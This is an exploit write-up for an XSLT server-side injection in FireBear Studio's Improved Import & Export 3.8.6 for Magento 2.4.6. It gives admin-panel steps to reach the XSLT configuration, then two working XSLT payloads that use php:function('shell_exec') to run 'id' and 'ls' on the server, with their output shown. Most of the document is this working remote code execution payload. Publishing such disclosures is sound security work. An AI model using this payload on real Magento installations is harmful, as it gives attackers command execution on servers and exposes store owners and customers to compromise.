Exploit Title: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection

• Date: 2023-11-17
• Exploit Author: tmrswrr
• Vendor Homepage: FireBear Studio
• Software Link: FireBear Studio Improved Import & Export
• Version: FireBear Improved Import & Export ver. 3.8.6

## POC

1. Enter with admin credentials to this URL: https://magento2demo.firebearstudio.com/

2. Click SYSTEM > Import Jobs > Entity Type Widget > click edit

3. Choose Import File Type > XML > Import Source is File

4. Upload any xml file

5. Click XSLT Configuration and write this payload:

   <?xml version="1.0" encoding="utf-8"?>
   <xsl:stylesheet version="1.0"
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
   xmlns:php="http://php.net/xsl">
     <xsl:template match="/">
       <xsl:value-of select="php:function('shell_exec','id')" />
     </xsl:template>
   </xsl:stylesheet>```
   

** **uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)

   <?xml version="1.0" encoding="utf-8"?>
   <xsl:stylesheet version="1.0"
   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
   xmlns:php="http://php.net/xsl">
     <xsl:template match="/">
       <xsl:value-of select="php:function('shell_exec','ls')" />
     </xsl:template>
   </xsl:stylesheet>```

**<?xml version="1.0"?>
cron.php
errors
get.php
health_check.php
index.php
media
opt
robots.txt
static
static.php